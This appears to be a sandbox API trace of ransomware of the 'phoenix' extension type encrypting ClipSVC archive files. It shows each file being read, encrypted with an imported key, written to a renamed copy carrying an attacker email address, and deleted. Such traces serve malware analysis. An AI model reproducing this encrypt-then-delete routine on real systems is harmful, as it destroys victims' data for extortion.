	[0244.131] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\4ad5b311-485b-15cc-97e9-9adb84427d7b.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\4ad5b311-485b-15cc-97e9-9adb84427d7b.xml")) returned 1
	[0244.132] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0244.132] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\517cfcaf-138b-1796-2cea-62892204250a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\517cfcaf-138b-1796-2cea-62892204250a.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0244.132] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2664) returned 1
	[0244.132] CloseHandle (hObject=0x2c8) returned 1
	[0244.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\517cfcaf-138b-1796-2cea-62892204250a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\517cfcaf-138b-1796-2cea-62892204250a.xml")) returned 0x20
	[0244.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\517cfcaf-138b-1796-2cea-62892204250a.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\517cfcaf-138b-1796-2cea-62892204250a.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.132] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\517cfcaf-138b-1796-2cea-62892204250a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\517cfcaf-138b-1796-2cea-62892204250a.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0244.132] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0244.132] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0244.132] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\517cfcaf-138b-1796-2cea-62892204250a.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\517cfcaf-138b-1796-2cea-62892204250a.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0244.133] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0244.133] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0244.133] ReadFile (in: hFile=0x2c8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa68, lpOverlapped=0x0) returned 1
	[0244.213] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa70, dwBufLen=0xa70 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa70) returned 1
	[0244.213] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa70, lpOverlapped=0x0) returned 1
	[0244.214] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151600) returned 1
	[0244.214] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0244.214] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0244.214] CryptDestroyKey (hKey=0x151600) returned 1
	[0244.214] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0244.214] CryptDestroyKey (hKey=0x151200) returned 1
	[0244.214] CloseHandle (hObject=0x2c8) returned 1
	[0244.215] CloseHandle (hObject=0x2f0) returned 1
	[0244.215] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\517cfcaf-138b-1796-2cea-62892204250a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\517cfcaf-138b-1796-2cea-62892204250a.xml")) returned 1
	[0244.216] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0244.216] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\54a30ac2-1ccf-60a8-6672-380af6008f3d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\54a30ac2-1ccf-60a8-6672-380af6008f3d.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0244.217] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3196) returned 1
	[0244.217] CloseHandle (hObject=0x2f0) returned 1
	[0244.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\54a30ac2-1ccf-60a8-6672-380af6008f3d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\54a30ac2-1ccf-60a8-6672-380af6008f3d.xml")) returned 0x20
	[0244.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\54a30ac2-1ccf-60a8-6672-380af6008f3d.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\54a30ac2-1ccf-60a8-6672-380af6008f3d.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.217] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\54a30ac2-1ccf-60a8-6672-380af6008f3d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\54a30ac2-1ccf-60a8-6672-380af6008f3d.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0244.217] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0244.217] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0244.217] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\54a30ac2-1ccf-60a8-6672-380af6008f3d.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\54a30ac2-1ccf-60a8-6672-380af6008f3d.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0244.218] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0244.218] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0244.218] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xc7c, lpOverlapped=0x0) returned 1
	[0244.369] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc80, dwBufLen=0xc80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc80) returned 1
	[0244.369] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc80, lpOverlapped=0x0) returned 1
	[0244.370] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0244.370] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0244.370] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0244.370] CryptDestroyKey (hKey=0x151640) returned 1
	[0244.370] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0244.370] CryptDestroyKey (hKey=0x151500) returned 1
	[0244.370] CloseHandle (hObject=0x2f0) returned 1
	[0244.370] CloseHandle (hObject=0x2c8) returned 1
	[0244.370] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\54a30ac2-1ccf-60a8-6672-380af6008f3d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\54a30ac2-1ccf-60a8-6672-380af6008f3d.xml")) returned 1
	[0244.371] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0244.371] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5b0a39aa-16e0-a938-f694-656664c7be15.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5b0a39aa-16e0-a938-f694-656664c7be15.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0244.372] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2630) returned 1
	[0244.372] CloseHandle (hObject=0x2c8) returned 1
	[0244.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5b0a39aa-16e0-a938-f694-656664c7be15.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5b0a39aa-16e0-a938-f694-656664c7be15.xml")) returned 0x20
	[0244.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5b0a39aa-16e0-a938-f694-656664c7be15.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5b0a39aa-16e0-a938-f694-656664c7be15.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.372] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5b0a39aa-16e0-a938-f694-656664c7be15.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5b0a39aa-16e0-a938-f694-656664c7be15.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0244.372] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0244.372] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0244.372] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5b0a39aa-16e0-a938-f694-656664c7be15.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5b0a39aa-16e0-a938-f694-656664c7be15.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0244.373] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0244.373] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0244.373] ReadFile (in: hFile=0x2c8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa46, lpOverlapped=0x0) returned 1
	[0244.899] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa50, dwBufLen=0xa50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa50) returned 1
	[0244.899] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa50, lpOverlapped=0x0) returned 1
	[0244.900] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151280) returned 1
	[0244.900] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0244.900] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0244.900] CryptDestroyKey (hKey=0x151280) returned 1
	[0244.901] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0244.901] CryptDestroyKey (hKey=0x151640) returned 1
	[0244.901] CloseHandle (hObject=0x2c8) returned 1
	[0244.901] CloseHandle (hObject=0x2f0) returned 1
	[0244.901] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5b0a39aa-16e0-a938-f694-656664c7be15.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5b0a39aa-16e0-a938-f694-656664c7be15.xml")) returned 1
	[0244.902] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0244.902] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5f3c8956-0358-1f87-eb47-697e265d6aa9.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5f3c8956-0358-1f87-eb47-697e265d6aa9.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0244.902] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3532) returned 1
	[0244.902] CloseHandle (hObject=0x2f0) returned 1
	[0244.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5f3c8956-0358-1f87-eb47-697e265d6aa9.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5f3c8956-0358-1f87-eb47-697e265d6aa9.xml")) returned 0x20
	[0244.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5f3c8956-0358-1f87-eb47-697e265d6aa9.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5f3c8956-0358-1f87-eb47-697e265d6aa9.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.902] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5f3c8956-0358-1f87-eb47-697e265d6aa9.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5f3c8956-0358-1f87-eb47-697e265d6aa9.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0244.903] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0244.903] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0244.903] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5f3c8956-0358-1f87-eb47-697e265d6aa9.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5f3c8956-0358-1f87-eb47-697e265d6aa9.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0244.903] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0244.903] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0244.903] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xdcc, lpOverlapped=0x0) returned 1
	[0245.092] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xdd0, dwBufLen=0xdd0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xdd0) returned 1
	[0245.092] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xdd0, lpOverlapped=0x0) returned 1
	[0245.093] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151680) returned 1
	[0245.093] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0245.093] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0245.093] CryptDestroyKey (hKey=0x151680) returned 1
	[0245.093] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0245.093] CryptDestroyKey (hKey=0x151600) returned 1
	[0245.093] CloseHandle (hObject=0x2f0) returned 1
	[0245.093] CloseHandle (hObject=0x2c8) returned 1
	[0245.093] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\5f3c8956-0358-1f87-eb47-697e265d6aa9.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\5f3c8956-0358-1f87-eb47-697e265d6aa9.xml")) returned 1
	[0245.094] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0245.094] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\67447b0c-05cf-6740-5f7b-391ab440c42d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\67447b0c-05cf-6740-5f7b-391ab440c42d.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0245.095] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2642) returned 1
	[0245.095] CloseHandle (hObject=0x2c8) returned 1
	[0245.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\67447b0c-05cf-6740-5f7b-391ab440c42d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\67447b0c-05cf-6740-5f7b-391ab440c42d.xml")) returned 0x20
	[0245.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\67447b0c-05cf-6740-5f7b-391ab440c42d.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\67447b0c-05cf-6740-5f7b-391ab440c42d.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.095] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\67447b0c-05cf-6740-5f7b-391ab440c42d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\67447b0c-05cf-6740-5f7b-391ab440c42d.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0245.095] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0245.095] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0245.095] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\67447b0c-05cf-6740-5f7b-391ab440c42d.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\67447b0c-05cf-6740-5f7b-391ab440c42d.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0245.096] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0245.096] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0245.096] ReadFile (in: hFile=0x2c8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa52, lpOverlapped=0x0) returned 1
	[0245.323] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa60, dwBufLen=0xa60 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa60) returned 1
	[0245.323] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa60, lpOverlapped=0x0) returned 1
	[0245.324] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151280) returned 1
	[0245.324] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0245.324] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0245.324] CryptDestroyKey (hKey=0x151280) returned 1
	[0245.324] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
